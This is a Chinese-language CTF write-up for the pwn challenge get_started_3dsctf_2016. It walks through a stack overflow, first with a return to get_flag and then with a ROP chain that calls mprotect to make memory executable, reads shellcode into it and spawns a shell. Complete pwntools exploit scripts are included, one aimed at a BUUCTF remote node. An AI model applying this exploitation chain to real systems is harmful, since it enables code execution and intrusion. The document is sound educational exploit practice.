get_started_3dsctf_2016-Pwn

这个题确实有点坑,在本地能打,在远程就不能打了,于是我就换了另一种方法来做.
确这个题是没有动态链接库,且PIE是关的,所以程序的大部分地址已经定死了,帮了大忙了.

第一个本地能打通的思路(远程打不了)

修改eip跳转到get_flag函即可,可是直接进行跳转到该函数,会存在一个过滤,把该地址给过滤掉了,其实往后退几个指令就行
后面我查了一下国外的资料,他是的方法跟我一样,就是在buuctf里远程打不了. 外国大牛博客:http://www.infohelp.org
废话我就不多说了,下面是本地能打的exp,(前提是你自己创建了一个flag.txt文件)
from pwn import *
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
printf_addr = 0x0804F0E0
main = 0x08048A20
get_flag = 0x080489B8
payload_01 = 'A' * 56 + p32(get_flag)
sh.sendline(payload_01)
sh.interactive()

第二个思路:(该方法能打远程)

修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限

如何进行内存的权限修改,思路:

1.栈溢出ret 到 mprotect函数地址,我来解释一下 call 指令, call = push + jmp
所以直接ret后要留一个返回地址,因为ret 就相当于 jmp 到 mprotect,为了完整的回来,所以在
mprotect地址后在压入一个返回地址.
2.在32为系统中传参是使用栈传参,择第一个参数先push,第二个再push....
所以基本的payload可以构思如下:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3) 这里的mprotect_addr就是我们要跳转到mprotect函数的地址
ret_addr 为 mprotect函数执行完后的地址.
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (edb-debuger查看得到)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx) 为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好. 使用 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
存在pop的一些指令地址,可以发现:
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
那我们就得到了该地址.
上面的ret_addr就填写0x0804f460
而现在的payload就可以为:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(ret_addr2) ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
即为下一个函数read的地址.

如何向内存写入shellcode

好下面我们就要构思如何将自己的shellcode写入内存再执行,使用read函数写入.
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 设为0x100就可以了 现在的payload也就可以构造如下
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函数也跟mprotect一样的例子,就是 call = push + jmp.
read_addr 后面的一个ret_addr2就是执行完read函数后的返回地址.再次使用pop3_ret弹掉3个已用的参数,接着还可
以利用栈ret来控制eip跳转到mem_addr执行自己的shellcode, payload如下. payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
payload += p32(mem_addr) 然而在执行read函数时就可以输入shellcode,即payload2为:
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')

最终exp如下:

# _*_ coding:utf-8 _*_
from pwn import * elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576) pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
mem_addr = 0x80EB000 #可读可写的内存,但不可执行
mem_size = 0x1000 #通过调试出来的值
mem_proc = 0x7 #可代表可读可写可执行 mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read'] '''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值. '''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12 #mprotect 的三个参数
payload_01 += p32(mem_addr) #mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size) #mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc) #mprotect函数参数3 修改的权限 payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址 payload_01 += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12 #read 的三个参数
payload_01 += p32(0) #read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr) #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小 payload_01 += p32(mem_addr) #执行完read后ret esi sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') sh.sendline(payload_sh) sh.interactive()

get_started_3dsctf_2016-Pwn的更多相关文章

  1. get_started_3dsctf_2016

    题外:这道题不是很难,但是却难住了我很久.主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能 ...

  2. [BUUCTF]PWN11——get_started_3dsctf_2016

    [BUUCTF]PWN11--get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: ...

  3. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  4. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  5. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  6. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  7. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  10. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. [C#] 尝鲜.net6.0的C#代码热重载

    看到.NET 6 Preview 1 发布,里面"除了 XAML 热重载之外,还将支持 C# 代码的热重载"一句,觉得有必要试试看,因为XAML热重载功能用起来确实很爽. 首先要下 ...

  2. 1071 Speech Patterns——PAT甲级真题

    1071 Speech Patterns People often have a preference among synonyms of the same word. For example, so ...

  3. 为什么我们在定义HashMap的时候,就指定它的初始化大小呢

    在当我们对HashMap初始化时没有设置初始化容量,系统会默认创建一个容量为16的大小的集合.当HashMap的容量值超过了临界值(默认16*0.75=12)时,HashMap将会重新扩容到下一个2的 ...

  4. 1.3.1 apache的配置(下)

    (1)httpd.conf的配置 使用文本编辑工具(推荐使用Editplus.UltraEdit等工具),打开httpd.conf. 其中,行首为#的部分为注释部分,不会被apache服务器程序进行读 ...

  5. xmake v2.5.2 发布, 支持自动拉取交叉工具链和依赖包集成

    xmake 是一个基于 Lua 的轻量级跨平台构建工具,使用 xmake.lua 维护项目构建,相比 makefile/CMakeLists.txt,配置语法更加简洁直观,对新手非常友好,短时间内就能 ...

  6. HDOJ-6681(离散化+线段树)

    Rikka With Cake HDOJ-6681 最终的答案为射线的交点数加一.当然,我们也可以证明.证明需要用到欧拉公式 V−E+F=2 V-E+F=2V−E+F=2 .设射线的交点共 c cc ...

  7. 太上老君的炼丹炉之分布式 Quorum NWR

    分布式系列文章: 1.用三国杀讲分布式算法,舒适了吧? 2.用太极拳讲分布式理论,真舒服! 3.诸葛亮 VS 庞统,拿下 Paxos 共识算法 4.用动图讲解分布式 Raft 5.韩信大招:一致性哈希 ...

  8. Prometheus + Spring Boot 应用监控

    1.  Prometheus是什么 Prometheus是一个具有活跃生态系统的开源系统监控和告警工具包.一言以蔽之,它是一套开源监控解决方案. Prometheus主要特性: 多维数据模型,其中包含 ...

  9. JavaScript offset、client、scroll家族

    offsetParent <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...

  10. Java数组:初识数组

    数组:数组是相同类型数据的有序集合数组描述的是相同类型的若干个数据,按照一定的先后次序排列组合而成其中,每一个数据称作一个数组元素,每个数组元素可以通过一个下标来访问他们 数组基本特点:其长度是确定的 ...